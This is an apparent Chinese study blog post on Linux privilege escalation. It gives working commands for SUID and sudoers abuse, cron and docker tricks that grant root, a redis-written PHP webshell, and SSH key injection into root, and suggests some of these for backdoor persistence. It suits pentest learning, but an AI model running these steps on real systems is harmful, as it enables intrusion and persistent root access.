当前位置: 首页 > news >正文

提权——Linux

一、系统漏洞提权

#kali的nmap命令

nmap -O 目标ip

  1. 通过当前系统的内核版本搜索当前系统的漏洞,进行利用        搜索漏洞

  2. 对linux系统的漏洞进行利用(脏牛、脏管道等)

    利用漏洞搜索工具,搜索当前系统是否存在一些漏洞

    1. linux-exploit-suggester-master

      下载地址 :GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool

      解压缩之后,执行他的.sh 文件 ,会把当前系统的所有漏洞搜索出来。

    2. linux-smart-enumeration-master

      下载地址 :GitHub - diego-treitos/linux-smart-enumeration: Linux enumeration tool for pentesting and CTFs with verbosity levels

      解压缩之后,执行他的.sh 文件 ,会把当前系统的所有漏洞搜索出来。

  3. MSF提权辅助工具

    MSF中有一个模块,叫后渗透测试模块(POST),其中这个模块就可以提供提权 。

    进入msf中 ,搜索 suggester

    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > search suggester
    ​
    Matching Modules
    ================
    ​
    #  Name                                      Disclosure Date  Rank    Check  Description-  ----                                      ---------------  ----    -----  -----------0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester
    ​
    ​
    Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

    利用这个后渗透测试模块,进行搜索 可用的提权漏洞 。

    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > use 0
    msf6 post(multi/recon/local_exploit_suggester) > show options 
    ​
    Module options (post/multi/recon/local_exploit_suggester):
    ​Name             Current Setting  Required  Description----             ---------------  --------  -----------SESSION                           yes       The session to run this module onSHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
    ​

    设置session后运行

二、系统配置提权 

1、soduer提权

(1)漏洞产生原因

        当一个普通用户被创建出来时,在执行某些任务时可能需要执行某些命令的权限,管理员可能为了省去麻烦直接将可以执行所有命令权限赋值给这个普通用户。

        且在 /etc/sudoers 文件中设置权限,给普通用户所有权限:

dong ALL=(ALL)  NOPASSWD:ALL #设置所有权限

dong ALL=(ALL)  NOPASSWD:/usr/bin/firewall-cmd  #设置操作防火墙的命令权限,只需要知道该命令所在的位置

(2)利用漏洞

        在普通账户操作的时候,可以在命令前加一个 sudo 就可以像root账户一样的操作 。  

sudo /etc/shadow

(3)复现

第一步:

查看当前有哪些用户

cat /etc/passwd

创建一个新用户

useradd 新用户名

 给新用户设置密码

第二步:

给Sun_happy赋予执行所有命令的权限

在/etc/sudoers中设置

chmod u+x sudoers        #这个文件只有root可以写,因此不能使用chmod 777

命令:

Sun_happy ALL=(ALL)  NOPASSWD:ALL #设置所有权限

第三步:

在普通账户操作的时候,可以在命令前加一个 sudo 就可以像root账户一样的操作 。

命令:

sudo /etc/shadow

         从真实情况来看,sudoers提前其实作用不大,且难以实现,但是该方法是一个非常适合维持权限的方法。

2、suid提权

(1)suid工作机制

Linux进程在运行的时候有以下三个UID:

Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。

也就是不论是root还Sun_happy都是没有区别的

Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。

Set UID:Set owner User ID up on execution,它允许用户执行的文件以该文件的拥有者的身份运行,也就是说可以越权执行命令。主要设置于 chmod 命令中第user第3位。

(2)bash

分析bash:

如果我们将suid权限设置到bash上,那么不论是谁执行他都算是属主在执行。

操作

#给bash命令加上suid权限

chmod u+s bash

#利用赋予了s权限的bash来使得普通用户浏览管理员才能查看的文件

sudo Sun_happy        #转到普通用户

id        #查看id

bash -p         #将euid改为root

cat /etc/shadow        #浏览管理员才能查看的文件

        但是这种寄希望于管理员将suid赋予错误的可能性太小,也是只适合修后门维持权限。

(3)检查系统文件s权限

不具危险性的s权限的赋予

linux系统本身 就有一部分指令具有s权限,这些指令不会有安全问题 :

/usr/libexec/pt_chown
/usr/libexec/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/crontab
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chage
/usr/bin/sudo
/usr/sbin/usernetctl
/bin/ping
/bin/ping6
/bin/mount
/bin/su
/bin/umount
/bin/fusermount
/sbin/pam_timestamp_check
/sbin/unix_chkpwd

具有危险性的s权限的赋予(检查系统配置漏洞时重点关注的对象)

chmod u+s /bin/bash            $ bash -p
chmod u+s /bin/sh            $ sh -p
chmod u+s /bin/env            $ env /bin/sh -p
chmod u+s /bin/vi            $ vi /etc/shadow
chmod u+s /bin/awk            $ awk '{print $0}' /etc/shadow
chmod u+s /bin/cat            $ cat /etc/shadow
chmod u+s /usr/bin/curl        $ curl file:///etc/shadow
chmod u+s /bin/find            $ find /etc/passwd -exec cat /etc/shadow \;
                              find /etc/passwd -exec bash -p \;

3、定时器提权

(1)定时器的使用

        定时器是我们linux中的一个命令,他可以让我们的命令按照我们设置的时间 去定时运行 :

#定时规则

*    *    *    *    *
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 星期中星期几 (0 - 6) (星期天 为0)
|    |    |    +---------- 月份 (1 - 12) 
|    |    +--------------- 一个月中的第几天 (1 - 31)
|    +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)

#查看已有的定时任务

crontab -l

#创建定时任务

crontab -e

(2)创建一个执行文件

代码如下:

curl http://192.xxx.xxx.xxx/dashboard/phpinfo.php > /dev/null
if [ $? -ne 0 ]; then/opt/lampp/lampp startecho "检测到lampp没有启动,已经完成启动 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
fifirewall-cmd --list-port | grep 80
if [ $? -ne 0 ]; thenfirewall-cmd --add-port=80/tcpecho "检测到80端口没有通过,已经完成添加 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
fi

 解释:

访问http://192.xxx.xxx.xxx/dashboard/phpinfo.php

(2)创建一个定时器任务

crontab -e

*/1 * * * * /home/Sun_happy/mysite.sh

#检查定时任务是否创建成功

#查看日志

(3)定时任务危险性 

        对于上面的mysite.sh可执行文件来说,其所含的内容是没有危害的,但是稍作修改就会有很大的危害。

 危害代码添加:

#在mysite.sh文件中添加:将s权限赋值给bash

chmod u+s /usr/bin/bash 

#检测

#在mysite.sh文件中添加:使普通用户拥有执行所有命令的权限

echo Sun_happy ALL=(ALL:ALL) NOPASSWD:ALL >> /etc/sudoers

#检测

4、docker容器提权  

查看是否有docker组 -> 查看当前获取到的普通用户是否在docker组里面 -> 如果在,创建一个容器,并把etc目录挂载到宿主机的etc目录 -> 修改/etc/passwd中的普通用户id为0

例如 :拉取一个centos 容器

docker search centos

docker pull centos

docker images

docker run -it --privileged=true -v /etc:/etc [镜像id] /bin/bash
​
docker run -it --privileged=true -v /etc:/etc 5d0da3dc9764 /bin/bash
​
#docker -i 前端交互模式 -t tty终端显示  privileged配置容器内部拥有最高权限,-v挂载,前面的etc是物理机的文件夹,后面的etc是容器内部的文件夹,b8dfe9ade316是镜像id,/bin/bash是容器进入后的shell环境。

此时,容器内部的/etc目录和物理机的一一同步对应的,可选直接echo最加:

echo `wugd ALL=(ALL) NOPASSWD:ALL` >> /etc/sudoers

最后,直接用sudoers提权方式提权即可。

三、第三方软件提权(redis)

1、利用持久化文件提权

        在redis中,持久化的路径以及持久化文件的名字都可以修改 ,那么可以就可以使用 持久化做webshell .

首先 当前系统需要有web(php、jsp、asp等)环境 。

(1)修改持久化文件路径

#查询当前web环境的路径

# /opt/lampp/htdocs/security
​
config set dir /opt/lampp/htdocs/security

(2)修改持久化文件名字

#根据web环境 进行确定文件名

config set dbfilename  shell.php

(3)向持久化文件中写入木马

set 1 "<?php assert($_POST[1]);?>" ​ #持久化 save

(4)测试

2、利用公钥和私钥登录 

(1)生成公钥和私钥

 ssh-keygen -t rsa

 (2)设置redis的持久化文件的路径和名字

config set dir /root/.ssh  # 设置路径  如果当前root下 没有`.ssh` 自己创建一个
config set dbfilename authorized_keys   # 设置持久化文件的名字 
save

(3)把公钥内容存储到持久化文件中

set 1 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ISztK16CwYNbXoeWPtkT/4sxDQsXZ9+wYP3jTb49qS1x2AMedTOsEfK+4toIOk43UcT5PnSpve9Dr2i5qD+QMkQmv+PQ5Uy0MvF602jEol7JqgENuzgIxEdqjHooBIgK7xkRw438bUNQG6qZzhQic7l5AisxOGi9I472x5d9IbDp+W5goK+n2ZRtdX4uUeRBm/V8EAOvWUBQwXfDnu9F3B//gSrgbkTRvX/uOduo3hdRpBVuCmJBwOhS3+AZkEoymuascoQHelKcy5RdF/9sj/It2PhcX0+8ydCV6GTlityHmCZO2H1vnjfj4p6nZEW3xavQrw9g3tmVwRK4nov3 administrator@DESKTOP-MKGGU1P\n\n" 

(4)在生成公钥和私钥的windows上登录

 

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Node.js学习记录(一)
  • 【Hot100】LeetCode—62. 不同路径
  • 代码随想录算法训练营第46天 | LeetCode647.回文子串、 LeetCode516.最长回文子序列
  • HighCharts图表自动化简介
  • Res2Net: 超越ResNet的深层网络架构
  • 【C++】vector常见用法
  • 【python2C】算法基础:计时比较
  • LabVIEW编程快速提升的技术
  • MySQL-binlog、redolog和undolog的区别
  • VMware中安装win7和kail等虚拟机
  • 27 顺序表 · 链表
  • 每日学习一个数据结构-B+树
  • 一码空传临时网盘PHP源码,支持提取码功能
  • Windows与linux中docker的安装与使用
  • 架构师知识梳理(七):软件工程-测试
  • (三)从jvm层面了解线程的启动和停止
  • C学习-枚举(九)
  • DataBase in Android
  • HTTP中GET与POST的区别 99%的错误认识
  • HTTP中的ETag在移动客户端的应用
  • JavaScript 一些 DOM 的知识点
  • jdbc就是这么简单
  • JS基础之数据类型、对象、原型、原型链、继承
  • LeetCode541. Reverse String II -- 按步长反转字符串
  • magento 货币换算
  • nodejs:开发并发布一个nodejs包
  • node和express搭建代理服务器(源码)
  • PHP 的 SAPI 是个什么东西
  • Python连接Oracle
  • quasar-framework cnodejs社区
  • SAP云平台运行环境Cloud Foundry和Neo的区别
  • SpriteKit 技巧之添加背景图片
  • 对话 CTO〡听神策数据 CTO 曹犟描绘数据分析行业的无限可能
  • 对象引论
  • 使用 Node.js 的 nodemailer 模块发送邮件(支持 QQ、163 等、支持附件)
  • FaaS 的简单实践
  • Python 之网络式编程
  • ​一文看懂数据清洗:缺失值、异常值和重复值的处理
  • #pragma pack(1)
  • #数学建模# 线性规划问题的Matlab求解
  • (07)Hive——窗口函数详解
  • (19)夹钳(用于送货)
  • (6)【Python/机器学习/深度学习】Machine-Learning模型与算法应用—使用Adaboost建模及工作环境下的数据分析整理
  • (env: Windows,mp,1.06.2308310; lib: 3.2.4) uniapp微信小程序
  • (js)循环条件满足时终止循环
  • (PHP)设置修改 Apache 文件根目录 (Document Root)(转帖)
  • (ZT)薛涌:谈贫说富
  • (补)B+树一些思想
  • (二)正点原子I.MX6ULL u-boot移植
  • (附源码)springboot学生选课系统 毕业设计 612555
  • (回溯) LeetCode 46. 全排列
  • (十)Flink Table API 和 SQL 基本概念
  • (五)activiti-modeler 编辑器初步优化
  • .net CHARTING图表控件下载地址
  • .net framework 4.8 开发windows系统服务